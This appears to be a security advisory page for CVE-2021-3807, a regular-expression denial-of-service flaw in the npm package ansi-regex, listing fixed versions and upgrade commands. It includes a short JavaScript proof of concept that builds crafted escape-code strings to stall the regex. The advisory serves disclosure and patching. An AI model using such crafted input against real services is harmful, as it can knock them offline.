ansi-regex
Affected
- introduced
6.0.0, fixed6.0.1(semver)
Fixed versions
6.0.1
Fix
- Fixed version
6.0.1npm install [email protected]
Advisory
Also known as: CVE-2021-3807
Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
High Basis: The source's own band: HIGH
6.0.0, fixed 6.0.1 (semver)6.0.1
6.0.1npm install [email protected]5.0.0, fixed 5.0.1 (semver)5.0.1
5.0.1npm install [email protected]4.0.0, fixed 4.1.1 (semver)4.1.1
4.1.1npm install [email protected]3.0.0, fixed 3.0.1 (semver)3.0.1
3.0.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0